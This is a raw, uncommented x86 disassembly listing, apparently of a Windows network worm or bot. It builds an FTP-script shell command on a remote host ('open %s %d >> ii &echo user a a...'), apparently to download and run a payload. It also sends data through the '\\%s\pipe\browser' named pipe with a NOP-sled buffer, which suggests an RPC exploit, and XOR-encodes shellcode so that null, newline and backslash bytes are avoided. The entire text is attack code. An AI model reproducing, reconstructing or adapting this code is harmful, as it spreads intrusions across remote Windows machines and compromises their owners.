cmp eax, 0FFFFFFFFh
jnz short loc_425BAB
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_4257F0+3ACj
push 0
lea ecx, [esp+88h+arg_E30]
push 640h
push ecx
push ebp
call near ptr 71AB615Ah
nop
push 0
lea edx, [esp+98h+arg_3FA0]
push 0FDCh
push edx
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BE5: ; CODE XREF: sub_4257F0+32Aj
mov ecx, 1Fh
mov esi, offset dword_44633C
lea edi, [esp+74h+arg_1480]
push 0
rep movsd
mov ecx, 1F4h
lea esi, [esp+78h+arg_90]
lea edi, [esp+78h+arg_14FC]
lea eax, [esp+78h+arg_1480]
rep movsd
mov ecx, 24h
mov esi, offset off_4463BC
lea edi, [esp+78h+arg_1CCC]
push 0CF8h
push eax
push ebp
rep movsd
mov [esp+84h+arg_2177], 0
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425C4C: ; CODE XREF: sub_4257F0+3E6j
; sub_4257F0+44Dj
push 12Ch
call near ptr 2850369h
nop
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+164h+arg_8140]
mov edi, esp
rep movsd
movsw
call sub_4013BB
add esp, 0BCh
test al, al
pop edi
pop esi
pop ebp
pop ebx
setnz al
add esp, 81D8h
retn
sub_4257F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 130h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425DC0: ; CODE XREF: ___:00401DCAj
sub esp, 650h
xor eax, eax
push ebx
mov [esp+4], eax
push esi
mov [esp+0Ch], eax
lea ecx, [esp+660h]
push edi
mov [esp+14h], eax
push ecx
mov [esp+1Ch], eax
mov word ptr [esp+10h], 2
nop
call near ptr 71AB2BF4h
mov edx, [esp+6FEh]
mov [esp+10h], eax
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [esp+1Ah], ax
call near ptr 71AB3B91h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_425E26
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E26: ; CODE XREF: ___:00425E18j
lea eax, [esp+0Ch]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_425E45
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E45: ; CODE XREF: ___:00425E37j
mov edi, dword_511CA0
push 0
push 89h
push offset dword_445FB0
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425E6B
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E6B: ; CODE XREF: ___:00425E5Dj
mov esi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 640h
push ecx
push ebx
call esi ; recv
push 0
push 0A8h
push offset dword_44603C
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425EA0
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EA0: ; CODE XREF: ___:00425E92j
push 0
lea edx, [esp+20h]
push 640h
push edx
push ebx
call esi ; recv
push 0
push 0DEh
push offset dword_4460E8
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425ECF
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425ECF: ; CODE XREF: ___:00425EC1j
push 0
lea eax, [esp+20h]
push 640h
push eax
push ebx
call esi ; recv
movsx eax, byte ptr [esp+60h]
sub eax, 30h
jz short loc_425EFB
dec eax
jz short loc_425EF7
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EF7: ; CODE XREF: ___:00425EE9j
push 0
jmp short loc_425F2E
; ---------------------------------------------------------------------------
loc_425EFB: ; CODE XREF: ___:00425EE6j
push 2
push ebx
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
test al, al
jz short loc_425F2C
mov esi, 1
jmp short loc_425F5A
; ---------------------------------------------------------------------------
loc_425F2C: ; CODE XREF: ___:00425F23j
push 1
loc_425F2E: ; CODE XREF: ___:00425EF9j
push ebx
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
neg al
sbb eax, eax
neg eax
mov esi, eax
loc_425F5A: ; CODE XREF: ___:00425F2Aj
push ebx
nop
call near ptr 71AB9639h
test esi, esi
jz short loc_425F88
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+71Ch]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425F88: ; CODE XREF: ___:00425F63j
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426020: ; CODE XREF: ___:00401E51j
push edi
push 0C8h
nop
call near ptr 2850369h
mov edx, [esp+0Ch]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+8]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
call near ptr 71AB428Ah
nop
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426070 proc near ; CODE XREF: sub_401A55j
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = byte ptr -590h
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_BC = dword ptr 0C0h
sub esp, 5A0h
xor eax, eax
push ebx
mov [esp+5A4h+var_5A0], eax
push ebp
mov [esp+5A8h+var_59C], eax
push esi
lea ecx, [esp+5ACh+arg_4]
push edi
mov [esp+5B0h+var_598], eax
push ecx
mov [esp+5B4h+var_594], eax
mov word ptr [esp+5B4h+var_5A0], 2
nop
call near ptr 71AB2BF4h
mov edx, [esp+5B0h+arg_BC]
mov [esp+5B0h+var_59C], eax
push edx
nop
call near ptr 71AB2B66h
push 0
push 1
push 2
mov word ptr [esp+5BCh+var_5A0+2], ax
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4260D8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260D8: ; CODE XREF: sub_426070+59j
lea eax, [esp+5B0h+var_5A0]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4260F8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260F8: ; CODE XREF: sub_426070+79j
push 0
lea ecx, [esp+5B4h+var_400]
push 400h
push ecx
push esi
nop
call near ptr 71AB615Ah
mov ecx, offset byte_449511
call sub_4017EE
push eax
mov ecx, offset byte_449511
call sub_4017EE
mov edx, dword_44964F
push eax
mov eax, [esp+5B8h+arg_0]
push edx
push eax
call sub_401E10
mov ebx, dword_511AE4
add esp, 4
lea ecx, [esp+5BCh+var_590]
push eax
push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"...
push 190h
push ecx
call ebx ; _snprintf
lea edi, [esp+5CCh+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 1Ch
repne scasb
mov ebp, dword_511CA0
push 0
not ecx
dec ecx
lea edx, [esp+5B4h+var_590]
push ecx
push edx
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jnz short loc_426187
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_426187: ; CODE XREF: sub_426070+108j
push 1F4h
nop
call near ptr 2850369h
mov ecx, offset byte_449511
call sub_4017EE
push eax
push offset aS_3 ; "%s\r\n"
lea eax, [esp+5B8h+var_590]
push 190h
push eax
call ebx ; _snprintf
lea edi, [esp+5C0h+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp+5B8h+var_590]
push ecx
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4261DC
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4261DC: ; CODE XREF: sub_426070+15Dj
push 0
lea edx, [esp+5B4h+var_400]
push 400h
push edx
push esi
nop
call near ptr 71AB615Ah
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 5A0h
retn
sub_426070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426280: ; CODE XREF: ___:00402199j
mov eax, 1E88h
call sub_437B30
push esi
push edi
mov ecx, 20Ch
xor eax, eax
lea edi, [esp+238h]
mov esi, offset dword_4469AC
rep stosd
mov ecx, 0FAh
mov eax, 90909090h
lea edi, [esp+0A68h]
mov edx, dword_51010C
rep stosd
mov ecx, 56h
lea edi, [esp+0CDEh]
rep movsd
mov eax, dword_446C24
mov ecx, 10h
movsw
movsb
lea edi, [esp+0E50h]
mov esi, offset dword_44695C
rep stosd
mov eax, dword_446C1C
mov ecx, 0Bh
lea edi, [esp+238h]
rep movsd
mov ecx, 10Ah
lea esi, [esp+0A68h]
lea edi, [esp+270h]
mov [esp+264h], eax
mov [esp+268h], edx
mov [esp+26Ch], eax
rep movsd
mov ecx, 7
mov esi, offset dword_44698C
lea edi, [esp+69Ch]
mov ax, word_446C18
mov [esp+698h], edx
lea edx, [esp+30h]
rep movsd
mov esi, dword_511AE4
lea ecx, [esp+1E98h]
push ecx
push offset dword_4468F8
push 104h
push edx
mov [esp+6BCh], ax
call esi ; _snprintf
add esp, 10h
xor edi, edi
lea ecx, [esp+10h]
lea eax, [esp+30h]
push edi
push offset byte_448F30
push offset byte_448F30
push ecx
mov [esp+24h], edi
mov [esp+30h], edi
mov [esp+3Ch], edi
mov [esp+34h], eax
call sub_4382AA
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_4263A5
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263A5: ; CODE XREF: ___:00426397j
lea edx, [esp+1E98h]
lea eax, [esp+134h]
push edx
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push 104h
push eax
call esi ; _snprintf
add esp, 10h
lea ecx, [esp+134h]
push edi
push edi
push 3
push edi
push edi
push 0C0000000h
push ecx
nop
call near ptr 2880000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4263EF
or eax, eax
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263EF: ; CODE XREF: ___:004263E2j
lea edx, [esp+0Ch]
push edi
push edx
lea eax, [esp+0E98h]
push 1000h
push eax
push 49h
push offset dword_446910
push esi
nop
call near ptr 2790000h
test eax, eax
jnz short loc_426427
push esi
call near ptr 2850BF4h
nop
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426427: ; CODE XREF: ___:00426412j
lea ecx, [esp+8]
push edi
push ecx
lea edx, [esp+240h]
push 830h
push edx
push esi
call near ptr 27F0000h
nop
test eax, eax
jnz short loc_426458
push esi
call near ptr 2850BF4h
nop
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426458: ; CODE XREF: ___:00426443j
push 115Ch
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+1F54h]
mov edi, esp
rep movsd
movsw
call sub_401A55
add esp, 0C0h
neg al
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
db 90h
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426520 proc near ; CODE XREF: sub_4013CAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_426520 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_401794j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013CA
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_426585
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426585: ; CODE XREF: sub_426560+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_446C5C
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_446CC0, ecx
lea ecx, [eax+1]
mov dword_446CE1, ecx
lea ecx, [eax+17h]
mov dword_446CD9, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_446CEF, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_446CD0
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_446CD4
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_446CD5
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_446CD9
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_446CDD
mov [ecx+8], esi
mov esi, dword_446CE1
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_446CE5
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266D0 proc near ; CODE XREF: sub_402180j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013CA
push eax
call sub_4017C6
add esp, 0Ch
retn
sub_4266D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426700: ; CODE XREF: ___:0040173Fj
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402180
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_426723
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426723: ; CODE XREF: ___:0042671Bj
cmp eax, 0FFFFh
jbe short loc_426730
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426730: ; CODE XREF: ___:00426728j
push esi
push edi
push ebx
call sub_4013CA
add eax, 101h
push eax
nop
call near ptr 77C2C407h
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013CA
add esp, 8
push eax
push esi
call sub_401794
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B8B
push esi
mov edi, eax
nop
call near ptr 77C2C21Bh
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267A0 proc near ; CODE XREF: sub_4017C6j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4267A9
inc ecx
loc_4267A9: ; CODE XREF: sub_4267A0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4267A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267D0 proc near ; CODE XREF: sub_401B8Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4267E8
cmp bl, 0Dh
jz short loc_4267E8
cmp bl, 5Ch
jz short loc_4267E8
test bl, bl
jnz short loc_4267E9
loc_4267E8: ; CODE XREF: sub_4267D0+8j
; sub_4267D0+Dj ...
inc ebx
loc_4267E9: ; CODE XREF: sub_4267D0+16j
cmp ebx, 0FFh
jbe short loc_42680C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_426806
cmp al, 0Dh
jz short loc_426806
cmp al, 5Ch
jz short loc_426806
test al, al
jnz short loc_42680C
loc_426806: ; CODE XREF: sub_4267D0+28j
; sub_4267D0+2Cj ...
add ebx, 100h
loc_42680C: ; CODE XREF: sub_4267D0+1Fj
; sub_4267D0+34j
push ebx
call sub_4017C6
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_426825
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426825: ; CODE XREF: sub_4267D0+4Fj
cmp eax, 0FFFFh
jbe short loc_426830
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426830: ; CODE XREF: sub_4267D0+5Aj
mov al, byte_510114
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_426860
loc_426841: ; CODE XREF: sub_4267D0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_426857
cmp cl, 0Ah
jz short loc_426857
cmp cl, 0Dh
jz short loc_426857
cmp cl, 5Ch
jnz short loc_42685B
loc_426857: ; CODE XREF: sub_4267D0+76j
; sub_4267D0+7Bj ...
inc al
xor edx, edx
loc_42685B: ; CODE XREF: sub_4267D0+85j
inc edx
cmp edx, ebx
jb short loc_426841
loc_426860: ; CODE XREF: sub_4267D0+6Fj
cmp ebx, 0FFh
push edi
mov byte_510114, al
ja short loc_426893
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C44
mov edi, edx
mov byte_446C51, bl
mov byte_446C55, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4268B9
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_4267D0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C2C
mov edi, edx
mov word_446C3A, bx
mov byte_446C3F, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4268B9: ; CODE XREF: sub_4267D0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4268CF
add esi, edx
loc_4268C2: ; CODE XREF: sub_4267D0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4268C2
loc_4268CF: ; CODE XREF: sub_4267D0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4267D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426930 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_44B19F[eax*4], ecx
mov dword_44B18B[eax*4], ecx
mov dword_44B18F[eax*4], ecx
mov dword_44B193[eax*4], ecx
mov dword_44B197[eax*4], ecx
mov dword_44B19B[eax*4], ecx
mov byte_44AF8B[eax*4], cl
mov byte_44B1A3[eax*4], cl
retn
sub_426930 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_426A57
cmp ecx, 400h
jge loc_426A57
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_44B19F[esi*4]
push eax
call near ptr 278081Eh
nop
cmp dword_44B19F[esi*4], ebx
jz short loc_4269E8
mov ebp, 1
loc_4269E8: ; CODE XREF: sub_4269A0+41j
mov dword_44B19F[esi*4], ebx
mov dword_44B18B[esi*4], ebx
mov dword_44B18F[esi*4], ebx
mov eax, dword_44B193[esi*4]
cmp eax, ebx
jbe short loc_426A11
push eax
call sub_401C80
add esp, 4
loc_426A11: ; CODE XREF: sub_4269A0+66j
mov edi, dword_511C9C
mov dword_44B193[esi*4], ebx
mov byte_44AF8B[esi*4], bl
mov byte_44B1A3[esi*4], bl
mov ecx, dword_44B197[esi*4]
push ecx
call edi ; closesocket
mov dword_44B197[esi*4], ebx
mov edx, dword_44B19B[esi*4]
lea esi, ds:44B19Bh[esi*4]
push edx
call edi ; closesocket
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426A57: ; CODE XREF: sub_4269A0+Cj
; sub_4269A0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A90 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_44B18F
loc_426AA1: ; CODE XREF: sub_426A90+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_426AD5
test ebx, ebx
jle short loc_426AC7
cmp [esi], ebx
jz short loc_426AB8
cmp edi, ebx
jnz short loc_426AD5
loc_426AB8: ; CODE XREF: sub_426A90+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
jmp short loc_426AD4
; ---------------------------------------------------------------------------
loc_426AC7: ; CODE XREF: sub_426A90+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
loc_426AD4: ; CODE XREF: sub_426A90+35j
inc ebp
loc_426AD5: ; CODE XREF: sub_426A90+1Aj
; sub_426A90+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D818F
jl short loc_426AA1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_426A90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B10 proc near ; CODE XREF: sub_401C80j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
nop
call near ptr 2710000h
mov esi, eax
test esi, esi
jz short loc_426B45
push 0
push esi
nop
call near ptr 27A01DCh
test eax, eax
jnz short loc_426B45
push esi
xor edi, edi
nop
call near ptr 2850BF4h
loc_426B45: ; CODE XREF: sub_426B10+1Dj
; sub_426B10+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_426B10 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B60 proc near ; CODE XREF: sub_40148Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_44B18B
loc_426B6B: ; CODE XREF: sub_426B60+1Cj
cmp [ecx], edx
jnz short loc_426B70
inc eax
loc_426B70: ; CODE XREF: sub_426B60+Dj
add ecx, 234h
cmp ecx, offset byte_4D818B
jl short loc_426B6B
retn
sub_426B60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B90 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_44B18B
loc_426B9E: ; CODE XREF: sub_426B90+1Fj
cmp [ecx], edx
jz short loc_426BB3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D818B
jl short loc_426B9E
mov eax, esi
loc_426BB3: ; CODE XREF: sub_426B90+10j
pop esi
retn
sub_426B90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426BD0 proc near ; CODE XREF: sub_401BEAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_44AF8B
loc_426BD8: ; CODE XREF: sub_426BD0+18j
cmp byte ptr [eax], 0
jz short loc_426BEE
add eax, 234h
inc edi
cmp eax, offset dword_4D7F8B
jl short loc_426BD8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_426BEE: ; CODE XREF: sub_426BD0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:44AF8Bh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
nop
call near ptr 77C47A90h
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_426BD0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426C70 proc near ; CODE XREF: sub_401613j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426C70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_426C70 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+28h]
push 4
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+28h]
push 4
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+2Ch]
push 4
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+48h]
push 4
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
